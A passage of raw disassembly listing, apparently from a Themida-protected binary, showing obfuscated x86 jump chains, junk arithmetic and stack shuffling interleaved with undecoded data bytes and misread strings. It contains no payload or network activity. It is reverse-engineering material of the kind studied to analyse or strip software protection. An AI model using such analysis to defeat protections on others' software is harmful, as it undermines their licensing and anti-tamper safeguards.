; ---------------------------------------------------------------------------
loc_546730: ; CODE XREF: Themida_:0054B381j
push ecx
mov ecx, 60B00A8Bh
sub ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_54E631
; ---------------------------------------------------------------------------
loc_546743: ; CODE XREF: Themida_:0054BA94j
pop eax
jmp loc_551AB1
; ---------------------------------------------------------------------------
db 0F6h, 0DEh, 80h
dd 0F02858C6h, 4D0005Ah, 63E95A55h, 5300009Eh, 9333E9h
dd 0BD555A00h, 4, 29D3EA81h, 0EA017F0Dh, 29D3C281h, 815D7F0Dh
dd 2C2h, 24148700h, 3024248Bh, 0FFD1E9C3h, 3489FFFFh, 79356824h
dd 465E671Ah, 82C9BD55h, 0EE0198E5h, 81242C8Bh, 4C4h, 1C772100h
dd 8124348Bh, 4ECh, 24148900h, 5556E289h, 9470E9h, 5EF20100h
dd 9BC2815Fh, 0E9776035h, 12AAh, 240C8B66h, 771068h, 240C8900h
dd 6F5568h, 863EE900h, 6FB50000h, 7255E9h, 0E9F20100h
dd 3157h, 7ED6EB81h, 0EB811BA8h, 27CA06F2h, 8124148Bh
dd 4C4h, 241C3300h, 33241C31h, 248B241Ch, 4A30F24h, 0EFE99C24h
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54681B: ; CODE XREF: Themida_:0054EF70j
neg ebx
xor ebx, 0DD31A8A7h
jmp loc_551E8B
; ---------------------------------------------------------------------------
dd 0DBE9028Fh
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54682F: ; CODE XREF: Themida_:005473D1j
sub esp, 4
mov [esp], edi
mov edi, 800h
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push edx
mov edx, 4
jmp loc_54F92C
; ---------------------------------------------------------------------------
db 89h
dd 0E189240Ch, 65D5BB53h, 0C3836F8Ch, 2EC38101h, 0E990739Ah
dd 278Dh, 489665Ch, 0F980E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54688A: ; CODE XREF: Themida_:0055087Bj
push ebp
push ecx
jmp loc_546222
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 0F724248Bh, 5A1D68F9h, 14890000h, 3B2DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5468A6: ; CODE XREF: Themida_:0054DF94j
xchg edx, [esp]
pop esp
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_5524A9
; ---------------------------------------------------------------------------
aSX db ']éÝX',0
align 4
loc_5468BC: ; CODE XREF: Themida_:00549E8Aj
sub al, cl
pop ecx
sub esp, 4
mov [esp], edx
jmp loc_54FFC2
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 0E8830000h, 24048704h, 8924248Bh, 93BB241Ch, 292E4944h
dd 1417E9DAh, 835E0000h, 3C8704C4h, 0BF0F5C24h, 7A6868C8h
dd 0C3E90000h
db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5468FF: ; CODE XREF: Themida_:0054B332j
add edi, 4
xchg edi, [esp]
mov esp, [esp]
or ebx, ebx
jnz loc_54C070
push ecx
push edx
push esi
push 27E15124h
pop esi
xor [esp+4], esi
jmp loc_54F429
; ---------------------------------------------------------------------------
loc_546925: ; CODE XREF: Themida_:0054A7ACj
push esi
mov esi, esp
add esi, 4
push ebp
mov ebp, 4
add esi, ebp
mov ebp, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push 3939h
jmp loc_551ED2
; ---------------------------------------------------------------------------
loc_546950: ; CODE XREF: Themida_:00547706j
push ebx
push eax
push 5EB1215Dh
pop eax
mov ebx, 5EB12159h
jmp loc_54DF7F
; ---------------------------------------------------------------------------
dw 0FE31h
aLUsq_ db '‹<$Uéq.',0
dd 0E9814100h, 0DB9AE9E8h, 5359CE29h, 3752E9h, 0E95A6600h
dd 587Bh
; ---------------------------------------------------------------------------
loc_546984: ; CODE XREF: Themida_:005528D9j
push eax
mov eax, edx
mov edi, eax
pop eax
mov edx, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
sub esp, 4
jmp loc_54F373
; ---------------------------------------------------------------------------
loc_5469A0: ; CODE XREF: Themida_:00549360j
push edx
mov dh, 0B1h
shl dh, 8
add dh, 0BFh
add dh, 6Ah
shr dh, 2
inc dh
sub dh, 2Ch
sub al, dh
jmp loc_5478AB
; ---------------------------------------------------------------------------
db 81h
dd 784EE9E6h, 0C0EE8144h, 83F89330h, 1C8904ECh, 45B85024h
dd 0E901F069h, 3CF7h, 0FF04C483h, 2C8B2434h, 2F46E924h
dd 3C330000h, 81E95C24h, 54000063h, 40558h, 0EC830000h
dd 242C8904h, 0A50F1BDh, 0B9514565h, 199C4DF1h, 8159CD21h
dd 61226DCDh, 81D5F74Fh, 696302C5h, 5DE8294Fh, 5C240487h
dd 54242C89h, 359DE95Dh, 38BF0000h, 815EBE4Dh, 0D90A3BCFh
dd 51D7F75Ch, 1B3F57B9h, 2AFE94Ch, 4870000h, 0A2E95C24h
dd 5D000016h, 0E904EBC1h, 5CBDh, 151AF581h, 0BB533EFEh
dd 3C1D493h, 35A0E9h, 4EC8100h, 89000000h, 0E954243Ch
dd 6B5Bh, 4343CE81h, 0E6C15E66h, 53555006h, 3FCE9h
db 0
; ---------------------------------------------------------------------------
loc_546A85: ; CODE XREF: Themida_:00550875j
push ebx
jmp loc_5506D3
; ---------------------------------------------------------------------------
a_qsbc db '_Qé¡—',0
align 2
loc_546A92: ; CODE XREF: Themida_:0054FDD2j
mov ebp, esp
jmp loc_546490
; ---------------------------------------------------------------------------
db 59h, 0F6h, 0D7h
dd 806FCF80h, 0F78059E7h, 42EF8060h, 0F800DA2Ch, 80A5B252h
dd 0F280FDC2h, 5AD00078h, 2CD8005Bh, 69D2E9E7h, 0F5870000h
dd 89AEC581h, 0EE2162FEh, 3D42E95Dh, 0D3290000h, 9B4FE9h
dd 0C8B6600h, 13966824h, 1C890000h, 34B8E924h, 0FF660000h
dd 0F718E932h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546AF2: ; CODE XREF: Themida_:0054F910j
push eax
mov eax, 22827995h
push edi
mov edi, 22827991h
xor eax, edi
jmp loc_5463B3
; ---------------------------------------------------------------------------
db 52h, 0BAh, 4
dd 0E9000000h, 7BF6h, 4BB5E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546B16: ; CODE XREF: Themida_:00546C7Fj
mov cl, al
pop eax
pop edx
pop ebx
mov [edi+eax*4], cl
mov ecx, [esp]
add esp, 4
jmp loc_54620A
; ---------------------------------------------------------------------------
loc_546B29: ; CODE XREF: Themida_:0054DC07j
mov eax, 4
add ebp, 4D45B55h
add ebp, eax
sub ebp, 4D45B55h
pop eax
push edx
jmp loc_54E012
; ---------------------------------------------------------------------------
db 5Eh
dd 8904EC83h, 0E950240Ch, 705Eh
; ---------------------------------------------------------------------------
loc_546B50: ; CODE XREF: Themida_:0055228Bj
pop edi
shr eax, 0Eh
xor eax, ecx
push 1217h
mov [esp], eax
jmp loc_552853
; ---------------------------------------------------------------------------
db 50h
dd 0C606E9B8h, 0E8C14022h, 0E8D14806h, 0E907E8C1h, 80C9h
dd 0E938B353h, 0AB99h, 8704EB83h, 895C241Ch, 0C68243Ch
dd 0E900002Ch, 0A165h
; ---------------------------------------------------------------------------
loc_546B94: ; CODE XREF: Themida_:0054E460j
not edx
sub edx, 9D879338h
add ebx, edx
jmp loc_54B37E
; ---------------------------------------------------------------------------
aKMUTBh db 'ºŠ|¬',9,'U½ÊTÓ=!ê]Bh',0
a__1:
unicode 0, <.>
dw 8900h
dd 83B9240Ch, 8146007Eh, 0F03422F1h, 0E9CA317Bh, 57ADh
; ---------------------------------------------------------------------------
loc_546BCC: ; CODE XREF: Themida_:00549462j
xor edx, 543A0CFFh
shl edx, 6
add edx, 219278F1h
add edi, edx
jmp loc_551E4A
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 1C281h, 0E2810000h, 2C47A68h, 39A4B951h, 0C9811C84h
dd 2F2D0696h, 6949E9h, 74FF5700h, 0AAE90424h
db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546C0B: ; CODE XREF: Themida_:0054E6D3j
push ebp
mov ebp, 4A267A0h
not ebp
or ebp, 2DFE74B4h
or ebp, 56A516D1h
add ebp, 1366394Bh
jmp loc_54A93F
; ---------------------------------------------------------------------------
dw 1C87h
dd 24248B24h, 24042966h, 8AC2E99Ch, 0DE010000h, 5031EE81h
dd 1C8B1020h, 4C48124h, 0E9000000h, 0E1Eh, 0B56866ACh
dd 0B71E979h, 14F70000h, 0EB815B24h, 509D348Eh, 0B2FEB81h
dd 0E3811546h, 335B5695h, 5A01C381h, 0EFE97C86h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546C7B: ; CODE XREF: Themida_:005465E1j
pop ecx
push eax
mov al, dl
jmp loc_546B16
; ---------------------------------------------------------------------------
aPhI db '\Ph',0Ah
db 'I',0
dw 8900h
dd 4812424h, 424h, 24048B00h, 4C481h, 0EC830000h, 64CCE904h
dd 0F2010000h, 70B7E9h, 77E95700h, 87FFFFFDh, 0E95C2434h
dd 4F7h, 0E9241489h, 2E27h, 2EC81h, 89660000h, 81662414h
dd 0DD52434h, 240C8B66h, 6602C483h, 0DD5F181h, 5724148Bh
dd 0C781E789h, 4, 4E5EE9h, 6E9C100h, 0C108E9C1h, 0D1F704E9h
dd 0ACC18149h, 814D1770h, 1832B3EFh, 0B8E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546D0E: ; CODE XREF: Themida_:00552356j
push ebp
mov ebp, esp
add ebp, 4
push ecx
jmp loc_54BDD2
; ---------------------------------------------------------------------------
loc_546D1D: ; CODE XREF: Themida_:00547949j
mov ebx, 0FFFFFFFFh
sub ebp, ebx
pop ebx
push esi
mov esi, 700D3362h
jmp loc_550794
; ---------------------------------------------------------------------------
dd 0DF6C2D40h, 0C289F21Ah, 9AE28158h, 812C5740h, 4973D5F2h
dd 0A100E971h, 8B660000h, 8956240Ch, 37BB53E6h, 83434D32h
dd 2C8904ECh, 0A0BBD24h, 0F58133FCh, 42377723h, 198CE9h
db 0
; ---------------------------------------------------------------------------
loc_546D6D: ; CODE XREF: Themida_:0055224Cj
push cx
not byte ptr [esp+1]
pop cx
jmp loc_54D6F6
; ---------------------------------------------------------------------------
loc_546D7A: ; CODE XREF: Themida_:00550F7Bj
xor edi, edx
xor edx, edi
jmp loc_549006
; ---------------------------------------------------------------------------
db 0B8h
dd 69E417CDh, 0B8069DBFh, 8EB5E948h, 89570000h, 4C781E7h
dd 83000000h, 1C8904ECh, 4BD5524h, 89000000h, 0DF295DEBh
dd 243C335Bh, 0E9243C31h, 727h, 15AD701h, 0C0835FF8h, 73AFE904h
dd 0CF290000h, 4183E9h
db 0
; ---------------------------------------------------------------------------
loc_546DCD: ; CODE XREF: Themida_:00548D3Aj
add esp, 4
loc_546DD0: ; CODE XREF: Themida_:0054BA0Bj
push 405Ah
mov [esp], ebx
push 0ECBh
mov [esp], edx
jmp loc_54BD41
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 8104C483h, 4ECh, 242C8900h, 28C868h, 24248900h, 4240483h
dd 83242C8Bh, 66E904C4h, 5000022h, 2, 5C240487h, 73B8E9h
db 0
; ---------------------------------------------------------------------------
loc_546E19: ; CODE XREF: Themida_:0054A4F1j
pop esp
sub esp, 4
jmp loc_54661D
; ---------------------------------------------------------------------------
db 81h, 0F7h, 0B1h
dd 1869664h, 0E9575FF9h, 8AE1h, 2B85052h, 56000000h, 0F289C689h
dd 0D701585Eh, 6198E9h, 0B2C28100h, 81645305h, 0ADE307EAh
dd 8BD32150h, 0C4812414h, 4, 0B4BFE9h, 3FBA5200h, 0E9786F0Eh
dd 938Dh, 4BD55h, 0C2810000h, 1A34E5Bh, 34ADE9h, 1AF06800h
dd 0E95B7D4Fh, 1A55h, 8904EC83h, 0CAE9240Ch, 5E000084h
dd 701F781h, 0A8E94189h, 28000081h, 66D32CF8h, 81241C8Bh
dd 2C4h, 15166800h, 14890000h, 7104E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546EBE: ; CODE XREF: Themida_:0054E070j
push 4
pop edx
sub ecx, edx
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ebx
mov eax, [esp]
jmp loc_54C331
; ---------------------------------------------------------------------------
dw 0E289h
dd offset dword_590368
dd 2F52E900h, 34FF0000h, 240C8B24h, 0E9E28952h, 49FDh
dd 7E25C7BAh, 0FFBF572Dh, 0E9FFFFFFh, 91F3h, 0B75384B8h
dd 0C3E2D76h, 0C1480386h, 0D8F707E8h, 199D7635h, 956DE9FFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546F22: ; CODE XREF: Themida_:005493B8j
push 70E8h
mov [esp], esp
jmp loc_550C50
; ---------------------------------------------------------------------------
db 81h
dd 391954EFh, 0E9F88900h, 7325h
; ---------------------------------------------------------------------------
loc_546F3C: ; CODE XREF: Themida_:0054856Cj
push dword ptr [esp]
pop ebp
add esp, 4
add esp, 4
and eax, ebp
push dword ptr [esp]
jmp loc_54A28F
; ---------------------------------------------------------------------------
loc_546F56: ; CODE XREF: Themida_:0054A8B9j
mov ebx, 18AC33B4h
and esi, ebx
pop ebx
jmp loc_5472E0
; ---------------------------------------------------------------------------
db 81h
dd 5C1AC9F1h, 59C8015Eh, 32C6E9h
db 0
; ---------------------------------------------------------------------------
loc_546F71: ; CODE XREF: Themida_:0054F10Cj
mov edx, [esp]
jmp loc_54DBD7
; ---------------------------------------------------------------------------
db 4, 24h, 0E9h
dd 93B9h, 0AC13822Dh, 5C8290Ah, 0AAC1382h, 24348B59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_54FC7B
; ---------------------------------------------------------------------------
aWqs_ db 'WQé.',0
align 4
dd 4E4EB900h, 0C8297846h, 2434FF59h, 0B283E9h, 49962D00h
dd 410524EBh, 8B026006h, 0C483241Ch, 4BE95204h, 0FF000090h
dd 0BDE92434h, 5F000035h, 0E9D1F759h, 2553h, 0BE7068BAh
dd 5A2CE921h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546FEE: ; CODE XREF: Themida_:0054B7C0j
mov [edi+20h], ecx
jmp loc_551FAC
; ---------------------------------------------------------------------------
dw 0B605h
dd 294F761Ah, 1AB62DC8h, 0C7E94F76h, 6600003Bh, 66241489h
dd 0F7E99C50h, 53FFFFF1h, 877046BBh, 245C295Fh, 595E5B08h
dd 1737BD55h, 0D5F74AC5h, 0A8E9DDF7h, 89000077h, 0E9542404h
dd 6187h, 7D16B850h, 0B951633Eh, 4C2A73D5h, 4859C821h
dd 5C02E9h
db 0
; ---------------------------------------------------------------------------
loc_54704D: ; CODE XREF: Themida_:00552389j
sub ebp, 4
jmp loc_551276
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
aIusZ db '䋎>Z',0
db 0
; ---------------------------------------------------------------------------
loc_54705F: ; CODE XREF: Themida_:0054C58Ej
mov bl, 5Bh
sub dl, 11h
add dl, bl
add dl, 11h
jmp loc_54E32C
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48124h, 57000000h, 0A2A6E9h, 2434FF00h, 612EE9h
db 0
; ---------------------------------------------------------------------------
loc_547085: ; CODE XREF: Themida_:0054EDE9j
shl al, 4
inc al
push ecx
mov cl, 23h
dec cl
neg cl
and cl, 46h
neg cl
xor cl, 2Bh
not cl
jmp loc_54F88D
; ---------------------------------------------------------------------------
dd 0BA241489h, 2E4B1382h, 0E902E2C1h, 380Eh, 0EE81CE01h
dd 4D646CF6h, 9086E9h, 0EDBD5500h, 0F7485040h, 49F581DDh
dd 29AA37CEh, 0D6315DEAh, 0CE81465Ah, 613D75E6h, 8105EEC1h
dd 0AE3B05C6h, 0F6D7E95Ah, 895CFFFFh, 5153240Ch, 0EF88C588h
dd 5BCBE9h, 77EB8100h, 0E970B80Dh, 0A752h, 0B8240489h
dd 64B92FDBh, 5AE9E0D1h, 0AD0000B4h, 2DE9D831h, 0E9000061h
dd 0FFFFF0EEh
; ---------------------------------------------------------------------------
loc_54711C: ; CODE XREF: Themida_:0054BBCFj
add edx, 0BA0B5BE1h
add ebp, edx
pop edx
mov edx, ebp
pop ebp
jmp loc_54C0BF
; ---------------------------------------------------------------------------
loc_54712D: ; CODE XREF: Themida_:0054A202j
sub eax, ebp
pop ebp
dec eax
add eax, 662953FEh
and edx, eax
pop eax
add edx, 248BD5B7h
push edx
add dword ptr [esp], 0F667E34h
pop ebp
sub ebp, 0F667E34h
pop edx
neg ebp
or ebp, 2A0F45B4h
push ebp
not dword ptr [esp]
pop ebp
dec ebp
not ebp
not ebp
push esi
jmp loc_55285F
; ---------------------------------------------------------------------------
db 87h
dd 248B242Ch, 2434FF24h, 592434FFh, 9B51E9h, 51E68900h
dd 4B9h, 59CE0100h, 4C681h, 34870000h, 9E685C24h, 89000064h
dd 5152241Ch, 0E98EB450h, 6F63h, 0E9241C89h, 8AEEh, 226BB951h
dd 16E93E93h, 83000056h, 3C8904ECh, 2EBE5624h, 4E6E4670h
dd 3932E9h, 0E8BE5600h, 0D144BD55h, 0D2F681E6h, 81897AABh
dd 137970EAh, 10D3E93Fh, 0C3810000h, 0E39340FCh, 0D0E9DA29h
dd 81000056h, 4C3h, 5884E900h, 0DFF70000h, 23B7BE56h, 0EE813E81h
dd 64A2673Fh, 607E9h, 4C78100h, 0E9000000h, 29EEh, 2C7815Dh
dd 33000000h, 3C31243Ch, 243C3324h, 1EFCE9h, 55C68000h
dd 0E6C0DEF6h, 0F26E907h, 77FF0000h, 59669D1Ch, 9C241CD2h
dd 356CE9h
db 0
; ---------------------------------------------------------------------------
loc_547245: ; CODE XREF: Themida_:005528F0j
add ecx, edi
add ecx, 63526FEBh
add [ecx], esi
pop ecx
push dword ptr [esp]
jmp loc_551799
; ---------------------------------------------------------------------------
loc_547258: ; CODE XREF: Themida_:0054E36Dj
sub ebp, 7BC228D3h
sub esi, ebp
jmp loc_5527F3
; ---------------------------------------------------------------------------
db 1, 0DDh, 81h
dd 0C03E78EDh, 62E95B12h, 8300008Eh, 0BA5204C4h, 577E0EE6h
dd 0E2C1DAF7h, 44EA8107h, 0E9290D05h, 8AEDh
; ---------------------------------------------------------------------------
loc_54728C: ; CODE XREF: Themida_:0054637Ej
sub ecx, 2B2F18F9h
sub ecx, ebp
add ecx, 2B2F18F9h
pop ebp
push edi
push ecx
mov ecx, 4274085Ah
mov edi, 63B61C35h
xor edi, ecx
jmp loc_547B17
; ---------------------------------------------------------------------------
loc_5472AE: ; CODE XREF: Themida_:0054DCEBj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push edi
mov eax, [esp]
push edi
mov edi, esp
jmp loc_5514D8
; ---------------------------------------------------------------------------
aNFy db '±(ÎfY',0
db 0F0h
dd 0E924148Bh, 942Ch
; ---------------------------------------------------------------------------
loc_5472E0: ; CODE XREF: Themida_:00546F5Ej
xor esi, 60AD65A3h
shr esi, 6
shl esi, 4
push ebp
jmp loc_547E2C
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48324h, 36EF6850h, 5584F04h, 51562205h, 0A1FDE9h
dd 0A3F18100h, 8160B878h, 7C3E5BF1h, 59CD2979h, 2AE2E94Dh
dd 815F0000h, 0FCCCEC7h, 0E9FB01A1h, 0A1E4h, 0EF81DFF7h
dd 0E11FF01Dh, 773E9h, 52E18900h, 9474C0BAh, 3E2C106h
dd 0F281D2F7h, 0B531FDCh, 0B850D2F7h, 23575F4h, 0E0C1D8F7h
dd 56853504h, 9B25047Ah, 516E1B09h, 1B81E9h, 3DE95C00h
dd 81000089h, 0B35F7AC3h, 92BD5572h, 0E95FFA46h, 6F5Dh
dd 0E951525Bh, 30AAh, 0D8E95558h, 83000028h, 0A6E904C4h
db 90h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547397: ; CODE XREF: Themida_:0054D473j
xchg ebp, [esp]
jmp loc_54BCEA
; ---------------------------------------------------------------------------
db 0FFh
dd 5E042474h, 588AE9h, 58BE5600h, 81154C38h, 93716BEEh
dd 94D3E905h, 40040000h, 5A2434FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54ABB9
; ---------------------------------------------------------------------------
loc_5473CE: ; CODE XREF: Themida_:00547C29j
add eax, ecx
pop ecx
jmp loc_54682F
; ---------------------------------------------------------------------------
dw 8B66h
dd 89572404h, 4C781E7h, 83000000h, 16E904EFh, 81FFFFF8h
dd 83A80CC3h, 0E9DE01C8h, 90D6h, 2404D25Ch, 0EE08E99Ch
dd 12BAFFFFh, 0E95FE943h, 1326h, 9D1C77FFh, 4105866h, 0EFE99C24h
dd 0FFFFFFEDh, 0E7E94077h, 0F7FFFFEDh, 81E3D1DBh, 413C31F3h
dd 2CF3810Eh, 0E925E145h, 47E9h, 4C4835Dh, 46B5E9h, 4335F00h
dd 24043124h, 5C240433h, 2896664h, 0FFEDB5E9h, 240C31FFh
dd 0E9240C33h, 279Ah, 6EAD23BFh, 3249E966h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54746A: ; CODE XREF: Themida_:00548A43j
sub esp, 4
mov [esp], eax
jmp loc_5493E0
; ---------------------------------------------------------------------------
aZsS db 'Zé×S',0
align 2
loc_54747E: ; CODE XREF: Themida_:005485A9j
shl eax, 2
xor eax, 130A705Ah
add eax, 5D226868h
jmp loc_54CA13
; ---------------------------------------------------------------------------
dd 8B59C800h, 0C483241Ch, 7E15E904h, 0E6C10000h, 98E5E903h
dd 0E9530000h, 8995h, 6A8CED81h, 0ED815304h, 2E503DBFh
dd 2C58158h, 87000000h, 248B242Ch, 48B6624h, 1AB26824h
dd 0C890000h, 4EC8124h, 89000000h, 0A5E92424h, 3300005Ah
dd 0E95C243Ch, 0FFFFF14Dh, 0BA52E589h, 49C3245h, 3241F281h
dd 0C581049Ch, 0D842D1Ch, 0ED81D501h, 0D842D1Ch, 30B9515Ah
dd 813D5C3Ah, 0E272FF1h, 0F4F1816Ah, 817B4E61h, 1C7CEFF1h
dd 59CD292Ch, 8B242C87h, 14892424h, 2DE95124h, 0D1000081h
dd 63C781E7h, 8175625Dh, 4F5082EFh, 62F78114h, 294B479Dh
dd 0CBE95FFEh, 81000070h, 4C2h, 4C28300h, 81E68956h, 4C6h
dd 4EE8100h, 87000000h, 895C2434h, 74FF2414h, 8F5A0424h
dd 815C2404h, 4ECh, 24048900h, 75416853h, 34890000h, 48676824h
dd 815E23D9h, 0CF2EC9F6h, 5EF38903h, 0CB81DBF7h, 0B3471Fh
dd 20BA5255h, 0E90A544Eh, 3E2h
; ---------------------------------------------------------------------------
loc_5475A8: ; CODE XREF: Themida_:0054EAA6j
mov [esp], ebp
push eax
push 23C17844h
mov eax, [esp]
add esp, 4
mov ebp, eax
pop eax
shr ebp, 3
jmp loc_548F8D
; ---------------------------------------------------------------------------
dw 0BB53h
dd 720C53BBh, 0D2F7D387h, 1D53E9h, 24048F00h, 4240481h
dd 0E9000000h, 1F13h, 0FFEC25E9h, 59CE81FFh, 521DF622h
dd 937687BAh, 0FAC7E979h, 0EA81FFFFh, 4204003Ch, 525AD301h
dd 5764B951h, 68BA68CDh, 2968CD57h, 0C38159CAh, 6621416Eh
dd 0EB81D329h, 6621416Eh, 100DE95Ah, 0EC810000h, 4, 0FF243489h
dd 0E9042474h, 85EAh, 0CE9D501h, 6800000Ch, 3591h, 83241489h
dd 1C8904ECh, 0E8BA5224h, 8944E939h, 19BA5AD3h, 81BB16C6h
dd 370C28C2h, 55DA013Dh, 0A725E9h, 53E68900h, 6765E9h
db 0
; ---------------------------------------------------------------------------
loc_54766D: ; CODE XREF: Themida_:00551339j
mov esi, ecx
pop ecx
xor esi, 4F5A390Eh
add esi, 0E36530BBh
push ecx
mov ecx, 20h
jmp loc_5490E5
; ---------------------------------------------------------------------------
db 5Fh
dd 4C781h, 52510000h, 7EFAE9h, 0D4885000h, 4CA968h, 24148900h
dd 8E48E9h
db 0, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54E4AD
; ---------------------------------------------------------------------------
a0ufxWss db '0ãfX,Wé™\',0
dw 100h
dd 5D04246Ch, 0FFF098E9h, 8BDF31FFh, 1EE9241Ch, 89000014h
dd 0D1E92434h, 4300007Fh, 561BCB81h, 0F7431DCAh, 67F381D3h
dd 1C00081h, 0C2815BDAh, 4, 31241433h, 6AE92414h
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5476FF: ; CODE XREF: Themida_:0054833Bj
pop esp
add ecx, 4
jmp loc_546950
; ---------------------------------------------------------------------------
loc_54770B: ; CODE XREF: Themida_:00552616j
add ecx, esi
pop esi
push 4FAFh
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_54EE03
; ---------------------------------------------------------------------------
dw 8166h
dd 6601DDC3h, 8166D329h, 6601DDEBh, 6244EB81h, 8124148Bh
dd 4C4h, 0EB816600h, 81661794h, 0E96A7BEBh, 8392h, 243EE953h
dd 0B9510000h, 0B746104h, 410FF181h, 0BD550C2Eh, 2B170485h
dd 0E95DE901h, 0CDAh
; ---------------------------------------------------------------------------
loc_54776C: ; CODE XREF: Themida_:0054A422j
add ecx, 4
jmp loc_54D8C9
; ---------------------------------------------------------------------------
dd 543C0BBBh, 7DCB8118h, 0E93AA370h, 0FFFFFF57h, 1BBE5659h
dd 0E904FA33h, 3374h
; ---------------------------------------------------------------------------
loc_547790: ; CODE XREF: Themida_:0054C1EAj
sub dh, 0D7h
push ecx
mov cl, 0B4h
sub dh, cl
pop ecx
push ebx
mov bh, 0BAh
neg bh
xor bh, 82h
and dh, bh
pop ebx
push 5398h
mov [esp], edx
neg byte ptr [esp+1]
pop edx
add dh, 23h
sub al, dh
jmp loc_54B436
; ---------------------------------------------------------------------------
db 57h
dd 69FCE9h, 2474FF00h, 0F2E95904h, 66FFFFEEh, 52240C89h
dd 0CE8022B6h, 80D6F66Bh, 0CEFE35EEh, 0EE80CEFEh, 8BF5883Fh
db 14h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_54DE10
; ---------------------------------------------------------------------------
db 5Fh
dd 0E902C383h, 24A2h
; ---------------------------------------------------------------------------
loc_547800: ; CODE XREF: Themida_:0054BB2Bj
shr ebp, 6
add ebp, 7203D691h
sub edi, ebp
jmp loc_547823
; ---------------------------------------------------------------------------
aCfsZ db 'ÑæFé,‡',0
align 4
dd 8B243C87h, 0E7E92424h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547823: ; CODE XREF: Themida_:0054780Bj
pop ebp
push edx
mov edx, 42D92A21h
sub edi, 5C243585h
add edi, edx
add edi, 5C243585h
pop edx
add edi, esi
sub edi, 42D92A21h
jmp loc_54A323
; ---------------------------------------------------------------------------
dw 0EAC1h
dd 0BD5502h, 29000000h, 7AB1E9D5h, 0E95F0000h, 79Ah, 0EF81DFF7h
dd 0ACDF7AADh, 79F0E9h, 7EB85000h, 2D6BD14Bh, 7B6C1861h
dd 0DB77E02Dh, 0E9D8F71Ch, 0FFFFF4B0h, 81243C89h, 4ECh
dd 0D20E900h, 8B660000h, 85E92404h, 5D00001Ah, 0BD55D7F7h
dd 5F3067CCh, 5790C581h, 0A9E95A82h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5478AB: ; CODE XREF: Themida_:005469B6j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_54D6F0
; ---------------------------------------------------------------------------
dw 6C81h
dd 7AF80424h, 5C290B92h, 44810424h, 7AF80424h, 1C8B0B92h
dd 7B8EE924h, 0E3890000h, 8B50E9h, 0A1C28000h, 0FFFDB0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5478E5: ; CODE XREF: Themida_:0054DD4Fj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
and ecx, ebx
jmp loc_548709
; ---------------------------------------------------------------------------
aUsf db 'Uéä{',0
align 4
loc_547908: ; CODE XREF: Themida_:0054D6F1j
mov ch, 6Dh
sub bl, ch
pop ecx
add bl, al
add bl, 6Dh
pop eax
add bl, 27h
sub bl, al
sub esp, 4
mov [esp], ecx
mov cl, 12h
sub cl, 0EBh
sub bl, cl
pop ecx
sub bl, 84h
movzx eax, al
mov dx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
push 4D24h
mov [esp], ebp
mov ebp, 700D3365h
push ebx
jmp loc_546D1D
; ---------------------------------------------------------------------------
aZsiv db 'Z騢',0
align 4
aUb6SK db 'ÑãÃ6ηÐé',1Bh,'Š',0
dd 0FABB5300h, 0C131D409h, 0EDE907EBh
db 82h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54796F: ; CODE XREF: Themida_:0054F40Aj
pop eax
sub ebp, edx
jmp loc_54CC67
; ---------------------------------------------------------------------------
db 5Bh
dd 34FFEB31h, 6AE95D24h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547983: ; CODE XREF: Themida_:0054C50Cj
mov edi, esp
jmp loc_548288
; ---------------------------------------------------------------------------
dw 0D589h
dd 3EDC15Ah, 2409F581h, 0F581218Ah, 4C14B274h, 2C8BEB29h
dd 4C48324h, 775AB850h, 0C3292927h, 245C3158h, 48B5B04h
